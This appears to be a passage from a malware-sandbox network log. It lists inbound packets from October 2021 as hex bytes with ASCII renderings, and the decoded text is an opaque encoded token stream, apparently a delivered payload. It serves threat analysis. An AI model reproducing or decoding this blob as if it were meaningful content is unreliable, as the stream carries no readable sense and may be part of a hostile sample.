20 4b 4b 20 59 78 20 6f 52 20 6b 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 74 4f 20 4f 4f 78 20 4b 6b 20 74 59 20 74 74 20 59 4b 20 6b 4b 20 4f 4f 6b 20 51 59 20 74 51 20 4f 4f 4b 20 4b Data Ascii: YK kx OOo QE OY OOo Yx Yk oK Kx kR Q Q OxQ OOo YK oR OR Yo kt OY Q OxQ OOo YK oR KK Yo Kt OY OOt OxQ OOR oK Ok Kk YE KO OY OOt OxQ OOR oK KR Kk tt Ko OOK OOt OxY Qx OR Yx KQ tY Ko OOK OOt OxY Qx KK Yx oR kK kK OOK Oot tO OOx Kk tY tt YK kK OOk QY tQ OOK K
2021-10-29 18:29:21 UTC	1776	IN	Data Raw: 74 20 59 45 20 51 59 20 59 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 52 51 20 4f 74 51 20 4f 4f 59 20 6f 78 20 6f 45 6b 20 59 78 20 45 52 20 6b 52 20 51 78 20 6f 4f 59 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 4f 78 20 4f 6f 78 20 6f 78 4f 20 4f 74 4f 20 4f 4b 4f 20 4f 74 4f 20 51 51 20 51 6b 20 4b 6b 20 6f 78 52 20 45 52 20 4f 4f 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 78 20 6f 20 4f 6f 45 20 59 78 20 4b 6b 20 59 52 20 6f 45 4b 20 6b 52 20 4f 20 6f 45 6b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 59 20 59 6b 20 45 51 20 51 6f 20 51 78 20 51 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 59 20 51 45 20 4f 74 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 78 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 6f 4b 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20 59 6b 20 4b 74 20 6f 78 20 4f 6b Data Ascii: t YE QY Yt YK kK Oox ORQ OtQ OOY ox oEk Yx ER kR Qx oOY Oxk OOo YR Ox Oox oxO OtO OKO OtO QQ Qk Kk oxR ER OOK kK OOK OOx o OoE Yx Kk YR oEK kR O oEk Oxk OOo Yo EY Yk EQ Qo Qx Q OxQ OOo YR YY QE Ott kK OOK Oot o x Yx Kk YR kQ oKR OOY OOt Oxt Qt Yk Kt ox Ok
2021-10-29 18:29:21 UTC	1780	IN	Data Raw: 20 4f 51 45 20 4f 4f 51 20 4f 4f 6b 20 59 78 20 45 78 20 59 4b 20 4f 45 78 20 74 6b 20 4f 4f 52 20 4f 4f 74 20 74 74 20 4f 4f 52 20 4f 45 4b 20 4b 6f 20 6f 51 20 59 4b 20 6f 4f 59 20 74 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 78 20 6f 59 4f 20 6f 51 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 74 51 20 6b 6f 20 6b 51 20 6f 6b 20 59 6f 20 59 4b 20 4f 45 4b 20 4f 4f 45 20 45 78 20 52 59 20 4f 4f 6b 20 59 78 20 4f 4b 78 20 59 6f 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 6f 6f 20 6b 59 20 4f 4b 51 20 59 20 52 78 20 59 4b 20 6f 6f 4b 20 52 74 20 4f 74 78 20 74 78 20 4f 4f 6b 20 59 78 20 6f 78 4b 20 4f 20 74 6f 20 4f 4f 78 20 4f 4f 52 20 4f 4f 74 20 6f 59 6f 20 6b 78 20 6b 51 20 6f 6b 20 52 78 20 59 4b 20 4f 74 74 20 4f 78 51 20 4f 74 78 20 74 78 Data Ascii: OQE OOQ OOk Yx Ex YK OEx tk OOR OOt tt OOR OEK Ko oQ YK oOY tx OOt OxQ OOk Yx oYO oQ QE Oox OOR OOt tQ ko kQ ok Yo YK OEK OOE Ex RY OOk Yx OKx Yo QE Oox OOR OOt oo kY OKQ Y Rx YK ooK Rt Otx tx OOk Yx oxK O to OOx OOR OOt oYo kx kQ ok Rx YK Ott OxQ Otx tx
2021-10-29 18:29:21 UTC	1784	IN	Data Raw: 6f 59 20 4f 4f 6f 20 51 59 20 6f 20 59 78 20 59 4b 20 4f 78 4b 20 4f 4f 4b 20 4f 6f 4b 20 4f 78 51 20 6f 45 20 59 78 20 4b 51 20 59 4f 20 59 4b 20 6b 4b 20 4f 52 45 20 74 45 20 4f 78 51 20 4f 4f 6f 20 51 59 20 4b 6b 20 59 51 20 59 4b 20 6f 4f 45 20 4f 4f 4b 20 6f 4b 4b 20 4f 78 51 20 51 52 20 59 78 20 4f 74 52 20 4f 74 20 59 4b 20 6b 4b 20 51 4f 20 4f 4f 74 20 4f 78 78 20 4f 4f 6f 20 4f 6b 45 20 4b 6b 20 4f 74 51 20 59 59 20 52 6b 20 4f 4f 4b 20 74 6b 20 4b 52 20 4f 4f 6f 20 59 78 20 6f 59 20 59 78 20 52 4f 20 6b 4b 20 6f 4b 51 20 4f 4f 74 20 6f 45 52 20 4f 4f 45 20 45 4b 20 4b 6b 20 4f 52 6f 20 74 20 6b 4b 20 4f 4f 4b 20 51 6f 20 4f 78 51 20 4f 6f 45 20 59 78 20 4f 6b 6b 20 59 78 20 4f 6b 45 20 6b 59 20 51 6b 20 4f 4f 74 20 4f 52 78 20 6b 6b 20 59 78 20 Data Ascii: oY OOo QY o Yx YK OxK OOK OoK OxQ oE Yx KQ YO YK kK ORE tE OxQ OOo QY Kk YQ YK oOE OOK oKK OxQ QR Yx OtR Ot YK kK QO OOt Oxx OOo OkE Kk OtQ YY Rk OOK tk KR OOo Yx oY Yx RO kK oKQ OOt oER OOE EK Kk ORo t kK OOK Qo OxQ OoE Yx Okk Yx OkE kY Qk OOt ORx kk Yx
2021-10-29 18:29:21 UTC	1788	IN	Data Raw: 6b 20 59 78 20 4f 4f 4f 20 6b 59 20 6b 52 20 4f 4f 52 20 74 6f 20 4f 4f 4b 20 45 45 20 4b 51 20 59 78 20 59 4b 20 4f 78 20 4f 6f 45 20 4f 4f 74 20 4f 78 51 20 4b 4f 20 59 4f 20 6f 78 20 59 4f 20 4f 51 20 6b 52 20 51 74 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 74 4f 20 52 45 20 59 78 20 59 4b 20 4f 45 20 4f 4f 59 20 6b 4f 20 4f 78 6b 20 6b 59 20 4b 6b 20 45 59 20 59 4f 20 59 4b 20 6b 4b 20 6f 4b 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 78 74 20 4b 51 20 6f 6f 20 59 59 20 4f 4f 45 20 4f 4f 6f 20 4f 78 6f 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 59 45 20 59 59 20 59 4b 20 6b 4b 20 4b 45 20 4f 4f 52 20 74 45 20 4f 4f 45 20 6f 45 20 59 78 20 45 45 20 59 59 20 6b 4b 20 4f 4f 4b 20 6f 45 4f 20 51 6b 20 4f 4f 6f 20 59 78 20 4f 78 59 20 59 4f 20 4f 6b 20 6b 59 20 6b Data Ascii: k Yx OOO kY kR OOR to OOK EE KQ Yx YK Ox OoE OOt OxQ KO YO ox YO OQ kR Qt OOR OxQ OOo tO RE Yx YK OE OOY kO Oxk kY Kk EY YO YK kK oKR OOt OxQ OOo Oxt KQ oo YY OOE OOo Oxo Oxk OOo Yx YE YY YK kK KE OOR tE OOE oE Yx EE YY kK OOK oEO Qk OOo Yx OxY YO Ok kY k
2021-10-29 18:29:21 UTC	1792	IN	Data Raw: 6f 45 51 20 45 6f 20 59 4f 20 59 4b 20 4f 6b 6b 20 4f 78 59 20 6f 4f 4f 20 4f 78 51 20 4f 4f 45 20 59 78 20 45 59 20 4b 52 20 4f 4b 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 6b 45 20 4f 78 6b 20 59 6f 20 45 45 20 59 4f 20 59 4b 20 45 52 20 4f 4f 4f 20 4f 78 20 4f 6f 4b 20 4f 4f 45 20 59 78 20 4f 6b 52 20 4b 74 20 4f 4b 4b 20 6b 4b 20 52 59 20 4f 4f 52 20 6f 6f 6f 20 4f 6f 52 20 4f 6b 6f 20 45 45 20 4f 20 59 59 20 4f 6f 20 51 6b 20 6f 59 6f 20 4f 6f 4b 20 52 74 20 59 4f 20 52 4b 20 45 6b 20 4f 74 6b 20 52 51 20 52 59 20 4f 4f 52 20 4f 4f 78 20 4f 4f 51 20 4f 6b 6b 20 45 45 20 4f 20 59 59 20 4f 74 4b 20 4f 6f 74 20 6f 45 78 20 4f 6f 4b 20 52 74 20 59 4f 20 4f 51 52 20 59 52 20 4f 74 4b 20 52 51 20 52 59 20 4f 4f 52 20 6f 45 4f 20 4f 6f 52 20 4f 74 59 20 45 45 Data Ascii: oEQ Eo YO YK Okk OxY oOO OxQ OOE Yx EY KR OKK kK OOY OOt kE Oxk Yo EE YO YK ER OOO Ox OoK OOE Yx OkR Kt OKK kK RY OOR ooo OoR Oko EE O YY Oo Qk oYo OoK Rt YO RK Ek Otk RQ RY OOR OOx OOQ Okk EE O YY OtK Oot oEx OoK Rt YO OQR YR OtK RQ RY OOR oEO OoR OtY EE
2021-10-29 18:29:21 UTC	1796	IN	Data Raw: 20 51 59 20 4f 4f 74 20 4f 59 20 74 45 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 4f 74 6b 20 4f 4f 59 20 4f 74 74 20 74 6b 20 4f 4f 45 20 59 78 20 52 20 59 78 20 6b 6f 20 4f 78 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 52 4b 20 4b 6b 20 4f 51 74 20 51 20 4f 6b 78 20 51 74 20 52 74 20 4f 78 51 20 4f 51 6f 20 4f 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 6f 74 20 4f 4f 74 20 4f 59 4b 20 74 51 20 6f 4f 45 20 45 59 20 4f 78 20 59 4b 20 4f 6f 20 74 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 74 74 20 59 78 20 6b 74 20 4f 78 59 20 4f 45 78 20 4f 78 6f 20 6b 74 20 4f 4f 6f 20 4f 4b 20 4f 4f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 4b 20 4f 78 51 20 6f 6f 6f 20 6f 4f 20 6f 78 74 20 45 45 20 51 20 6b 4b 20 4f 4b 20 74 6b 20 4f 78 51 Data Ascii: QY OOt OY tE Yx Kk Yx YK Otk OOY Ott tk OOE Yx R Yx ko OxQ OOK OOt OxQ OOo ORK Kk OQt Q Okx Qt Rt OxQ OQo OO Kk Yx YK kK oot OOt OYK tQ oOE EY Ox YK Oo to OOt OxQ OOo Yx Ott Yx kt OxY OEx Oxo kt OOo OK OO Yx YK kK OOK oKK OxQ ooo oO oxt EE Q kK OK tk OxQ
2021-10-29 18:29:21 UTC	1800	IN	Data Raw: 4f 78 6b 20 4f 59 6f 20 4f 6f 4f 20 4f 52 6b 20 59 78 20 59 6b 20 4f 78 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 59 4f 20 4f 4f 6f 20 4f 78 45 20 4b 52 20 6f 6f 45 20 45 4b 20 4f 4b 45 20 4f 4f 4b 20 4f 78 59 20 59 45 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 52 78 20 6b 4b 20 4f 6f 51 20 4f 4f 59 20 4f 6f 6b 20 4f 78 78 20 6f 45 52 20 4b 6b 20 6b 20 4f 4f 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 45 78 20 59 78 20 4f 51 20 45 20 6f 4f 51 20 52 4b 20 4f 4b 74 20 4f 4f 74 20 45 45 20 4b 78 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 4f 51 4b 20 4f 4f 4b 20 6f 4b 59 20 4b 4b 20 4f 59 74 20 45 6b 20 6f 4f 6f 20 59 78 20 4f 78 4b 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 52 4b 20 4b 6b 20 4f 4f 78 20 4b 51 20 4f 6b 59 Data Ascii: Oxk OYo OoO ORk Yx Yk OxR YK kK OOK OOt oYO OOo OxE KR ooE EK OKE OOK OxY YE OOo Yx Kk Yx ORx kK OoQ OOY Ook Oxx oER Kk k OOx kK OOK OOt OxQ oEx Yx OQ E oOQ RK OKt OOt EE Kx Yx Kk Yx YK OQK OOK oKY KK OYt Ek oOo Yx OxK Oo OOK OOt OxQ OOo ORK Kk OOx KQ OkY
2021-10-29 18:29:21 UTC	1804	IN	Data Raw: 20 6f 4b 74 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 52 52 20 59 78 20 4f 4b 59 20 4f 78 4b 20 4f 6f 4b 20 51 51 20 45 45 20 4f 4f 45 20 59 78 20 4f 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 6f 74 20 4f 78 51 20 4f 74 4b 20 6f 4b 20 45 6b 20 45 52 20 4f 6f 78 20 6b 59 20 6f 4b 4f 20 6f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 52 4b 20 52 6f 20 6f 51 20 4f 78 74 20 4f 78 4b 20 4f 6f 45 20 52 45 20 59 4f 20 4f 6f 6b 20 4f 6b 4f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 59 4f 20 4f 4f 6f 20 51 52 20 4b 4f 20 4f 74 20 45 6f 20 6f 74 20 4f 4f 59 20 4f 45 45 20 6f 45 4b 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 52 78 20 6b 4b 20 4b 4f 20 4f 78 6b 20 4f 6b 78 20 4f 6f 59 20 51 6b 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f Data Ascii: oKt OOt OxQ OOo Yx ORR Yx OKY OxK OoK QQ EE OOE Yx OkE Yx YK kK OOK oot OxQ OtK oK Ek ER Oox kY oKO oKo OxQ OOo Yx Kk ORK Ro oQ Oxt OxK OoE RE YO Ook OkO YK kK OOK OOt oYO OOo QR KO Ot Eo ot OOY OEE oEK OOo Yx Kk Yx ORx kK KO Oxk Okx OoY Qk KQ Yx YK kK O
2021-10-29 18:29:21 UTC	1808	IN	Data Raw: 59 6b 20 6f 6f 52 20 59 6f 20 6f 59 59 20 6b 4b 20 6f 4b 51 20 4f 4f 52 20 4f 74 4b 20 6f 78 51 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 6f 6f 20 4f 74 59 20 4f 78 74 20 51 52 20 59 78 20 4f 6b 74 20 59 4f 20 6f 59 78 20 6f 4b 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 59 52 20 4f 45 59 20 52 6f 20 6f 6f 51 20 4f 78 78 20 6f 4b 51 20 4f 78 6b 20 4f 52 4b 20 4f 4b 74 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 20 6f 78 6b 20 4f 6f 78 20 4f 45 74 20 45 6b 20 4f 51 78 20 59 59 20 4f 45 74 20 6f 4f 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 78 20 51 59 20 4f 6b 78 20 51 51 20 6f 6f 4b 20 4f 4f 45 20 6f 4f 59 20 4f 4b 59 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f Data Ascii: Yk ooR Yo oYY kK oKQ OOR OtK oxQ Yx Kk Yx YK oOx Ooo OtY Oxt QR Yx Okt YO oYx oKY OOK OOt OxQ OOo Okx YR OEY Ro ooQ Oxx oKQ Oxk ORK OKt Kk Yx YK kK oKK OoY oxk Oox OEt Ek OQx YY OEt oOO OOt OxQ OOo Yx Oko Yk Ox QY Okx QQ ooK OOE oOY OKY Yx YK kK OOK oKE O
2021-10-29 18:29:21 UTC	1812	IN	Data Raw: 20 59 6b 20 4f 78 4f 20 45 59 20 4f 6f 74 20 6b 4f 20 6f 4f 74 20 4f 4f 52 20 6f 6f 4f 20 6f 4f 45 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 6f 6f 20 4f 6b 6b 20 4f 6f 4b 20 4f 78 74 20 59 78 20 4f 59 52 20 59 4f 20 4f 4b 6f 20 6f 4b 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 59 52 20 6f 6f 74 20 45 51 20 6f 51 20 4f 4f 51 20 6f 4f 74 20 4f 78 6b 20 4f 74 74 20 4f 59 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 20 4f 4f 59 20 4f 4f 6f 20 4f 74 45 20 45 74 20 4f 59 51 20 59 59 20 4f 59 74 20 6f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 74 20 6b 4b 20 6f 4f 45 20 51 52 20 4f 51 6f 20 4f 4f 45 20 6f 6f 4b 20 4f 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 Data Ascii: Yk OxO EY Oot kO oOt OOR ooO oOE Yx Kk Yx YK oOx Ooo Okk OoK Oxt Yx OYR YO OKo oKO OOK OOt OxQ OOo Okx YR oot EQ oQ OOQ oOt Oxk Ott OYO Kk Yx YK kK oKK OoY OOY OOo OtE Et OYQ YY OYt oOY OOt OxQ OOo Yx Oko Yk Ot kK oOE QR OQo OOE ooK OKQ Yx YK kK OOK oKE
2021-10-29 18:29:21 UTC	1816	IN	Data Raw: 4b 20 4f 6f 59 20 6f 4f 52 20 4f 6f 78 20 6f 59 4f 20 4b 6b 20 6f 6f 59 20 59 59 20 74 6b 20 6f 4f 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 45 51 20 51 6f 20 51 6b 20 4f 4f 74 20 4f 51 78 20 4f 4f 45 20 4f 74 20 4f 59 45 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 78 4f 20 74 52 20 59 74 20 6f 4b 51 20 59 78 20 6f 6f 52 20 6b 59 20 6b 51 20 6f 6f 78 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 78 20 52 6f 20 4f 52 20 4f 6f 4f 20 4f 78 4f 20 4f 78 51 20 4f 52 4b 20 59 4f 20 4b 20 4f 59 59 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20 6f 45 59 20 52 78 20 6f 59 4f 20 59 4b 20 4f 6f 51 20 4f 4f 59 20 74 45 20 4f 51 52 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 51 6f 20 4f Data Ascii: K OoY oOR Oox oYO Kk ooY YY tk oOQ OOt OxQ OOo Yx Oko Yk OEQ Qo Qk OOt OQx OOE Ot OYE Yx YK kK OOK oKE OxO tR Yt oKQ Yx ooR kY kQ oox OxQ OOo Yx Kk Okx Ro OR OoO OxO OxQ ORK YO K OYY YK kK OOK OOt oEY Oox oEY Rx oYO YK OoQ OOY tE OQR OOo Yx Kk Yx OtR Qo O
2021-10-29 18:29:21 UTC	1820	IN	Data Raw: 4b 6b 20 59 78 20 4f 6b 4f 20 6b 4b 20 4f 6f 45 20 4f 4f 51 20 4f 51 59 20 4f 78 4b 20 4f 78 6b 20 59 78 20 74 59 20 4f 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 45 20 59 78 20 51 6b 20 4b 6b 20 6f 6f 4f 20 52 74 20 4b 59 20 4f 4f 51 20 6f 45 52 20 6f 4f 51 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 78 52 20 6f 59 4f 20 6b 51 20 4f 4f 74 20 59 78 20 6b 78 20 4b 6b 20 4f 59 78 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 6f 4f 4f 20 4b 51 20 4f 45 4f 20 6f 4f 20 6b 59 20 4f 4f 4b 20 6f 78 20 4f 4f 4f 20 6f 4f 6f 20 4f 59 45 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4b 74 20 4f 4f 52 20 4f 52 4f 20 4b 6b 20 4b 4f 20 4b 6b 20 6b 45 20 59 6f 20 4b 20 6f 6f 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 78 Data Ascii: Kk Yx OkO kK OoE OOQ OQY OxK Oxk Yx tY OYt kK OOK OOt OxQ oKE Yx Qk Kk ooO Rt KY OOQ oER oOQ Yx Kk Yx YK oOx OxR oYO kQ OOt Yx kx Kk OYx oYY OOK OOt OxQ OOo oOO KQ OEO oO kY OOK ox OOO oOo OYE Kk Yx YK kK OKt OOR ORO Kk KO Kk kE Yo K ooE OOt OxQ OOo Yx ox
2021-10-29 18:29:21 UTC	1824	IN	Data Raw: 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f Data Ascii: Ot OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx O
2021-10-29 18:29:21 UTC	1828	IN	Data Raw: 20 4f 4f 74 20 74 4b 20 6b 4f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 45 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4b 59 20 4f 52 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 59 6f 20 4b 51 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6f 78 45 20 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 59 6b 20 59 4f 20 45 4b 20 45 6f 20 4b 6b 20 59 4b 20 6f 45 74 20 6b 51 20 4f 78 4f 20 4f 6f 59 20 4f 4f 59 20 59 78 20 6f 4b 6f 20 6f 59 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 52 6b 20 74 4f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6f 59 6f 20 51 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 59 6f 20 6f 74 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 51 74 20 6b 51 20 59 Data Ascii: OOt tK kO Yx Kk YO YK E OOk OOt OxQ OOE Yx KY OR YK kK OOo OOt Yo KQ Yx Kk YO YK oxE Kk OOt OxQ OOK Yx OOQ oO YK kK OOY OOt Yk YO EK Eo Kk YK oEt kQ OxO OoY OOY Yx oKo oY YK kK OOk OOt Rk tO Yx Kk YO YK oYo QO OOt OxQ OOE Yx OYo ot YK kK OOY OOt OQt kQ Y
2021-10-29 18:29:21 UTC	1832	IN	Data Raw: 59 78 20 4f 4f 51 20 4f 4f 6f 20 59 4b 20 4f 4f 52 20 4f 4f 45 20 4f 4f 74 20 6f 78 45 20 6b 6f 20 4b 6b 20 4b 6b 20 59 4b 20 59 4b 20 51 6b 20 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 74 20 59 78 20 4f 45 20 4f 59 20 59 4b 20 6b 4b 20 4f 4f 52 20 4f 4f 74 20 51 6f 20 74 74 20 59 78 20 4b 6b 20 59 45 20 59 4b 20 6f 4b 6b 20 59 78 20 4f 4f 74 20 4f 78 51 20 4f 6f 78 20 59 78 20 4f 4b 6b 20 4f 4f 4b 20 59 4b 20 6b 4b 20 4f 6f 45 20 4f 4f 74 20 6f 4b 4b 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 59 4b 20 4f 59 6b 20 6b 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 45 20 59 78 20 4f 6f 4f 20 4f 59 20 59 6f 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 51 4f 20 59 78 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 4f 4f 45 20 74 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 6f 4f 20 4f Data Ascii: Yx OOQ OOo YK OOR OOE OOt oxE ko Kk Kk YK YK Qk Kk OOt OxQ OOt Yx OE OY YK kK OOR OOt Qo tt Yx Kk YE YK oKk Yx OOt OxQ Oox Yx OKk OOK YK kK OoE OOt oKK to Yx Kk YR YK OYk kk OOt OxQ OoE Yx OoO OY Yo kK OOY OOt QO Yx Yx Kk Kk YK OOE tR OOt OxQ OOE Yx OoO O
2021-10-29 18:29:21 UTC	1836	IN	Data Raw: 20 6f 59 6f 20 4f 4f 52 20 51 51 20 4b 6b 20 59 59 20 45 4f 20 4f 59 74 20 4f 4f 4b 20 4f 51 52 20 4f 4f 78 20 6f 59 4b 20 52 20 45 6f 20 59 78 20 4f 4b 45 20 6b 74 20 45 6b 20 4b 51 20 6f 78 74 20 4f 4f 52 20 6f 59 4f 20 59 4f 20 4f 6b 6b 20 6f 20 6f 59 45 20 4f 4f 6b 20 4f 52 4f 20 4f 78 51 20 6f 59 4b 20 52 20 6f 4b 78 20 59 4b 20 6f 45 51 20 6b 74 20 45 51 20 74 52 20 4f 52 74 20 4f 4f 52 20 6f 4f 4f 20 59 4f 20 6f 4f 52 20 6f 4f 20 4f 45 6f 20 4f 4f 6b 20 4f 59 52 20 4f 4f 78 20 4b 74 20 45 4f 20 6f 45 78 20 59 4b 20 4f 51 51 20 6b 74 20 6f 6b 20 4f 78 52 20 4f 74 74 20 4f 4f 52 20 6f 45 78 20 4b 6b 20 4f 51 78 20 6f 51 20 4f 4f 59 20 4f 4f 4b 20 4f 4f 52 20 4f 78 6b 20 6f 59 4b 20 52 20 6f 4f 4f 20 59 4b 20 45 51 20 6b 59 20 74 20 52 6b 20 4f 45 59 Data Ascii: oYo OOR QQ Kk YY EO OYt OOK OQR OOx oYK R Eo Yx OKE kt Ek KQ oxt OOR oYO YO Okk o oYE OOk ORO OxQ oYK R oKx YK oEQ kt EQ tR ORt OOR oOO YO oOR oO OEo OOk OYR OOx Kt EO oEx YK OQQ kt ok OxR Ott OOR oEx Kk OQx oQ OOY OOK OOR Oxk oYK R oOO YK EQ kY t Rk OEY
2021-10-29 18:29:21 UTC	1840	IN	Data Raw: 78 45 20 4f 6f 74 20 51 6f 20 4f 4f 4f 20 4f 74 59 20 4f 4f 6f 20 51 20 52 45 20 45 4f 20 6b 52 20 4f 52 4f 20 51 59 20 6b 6f 20 4f 6f 59 20 4f 4f 59 20 59 45 20 51 52 20 4f 6b 20 4b 20 4f 6f 74 20 59 6f 20 4f 78 4b 20 52 78 20 4f 4f 4b 20 59 45 20 59 78 20 4f 4f 51 20 6b 4f 20 6f 45 74 20 6b 52 20 59 6b 20 4f 6f 59 20 4f 6f 45 20 59 45 20 6f 4f 20 6f 52 20 51 20 4f 6f 74 20 4f 51 52 20 4f 78 6b 20 6f 59 4b 20 52 20 6b 45 20 52 45 20 4f 78 45 20 6b 74 20 6f 59 4b 20 74 78 20 74 20 4f 6f 59 20 51 51 20 59 45 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 45 52 20 4f 78 4b 20 6f 4b 6f 20 6f 4f 20 52 6b 20 52 45 20 4f 78 45 20 6b 4f 20 6f 78 74 20 6b 6f 20 6f 59 20 4f 6f 59 20 4f 78 74 20 59 45 20 4b 4f 20 4f 4b 20 4b 59 20 4f 6f 74 20 52 78 20 4f 4f 4f 20 6f 4b Data Ascii: xE Oot Qo OOO OtY OOo Q RE EO kR ORO QY ko OoY OOY YE QR Ok K Oot Yo OxK Rx OOK YE Yx OOQ kO oEt kR Yk OoY OoE YE oO oR Q Oot OQR Oxk oYK R kE RE OxE kt oYK tx t OoY QQ YE Okk o kY OOK ER OxK oKo oO Rk RE OxE kO oxt ko oY OoY Oxt YE KO OK KY Oot Rx OOO oK
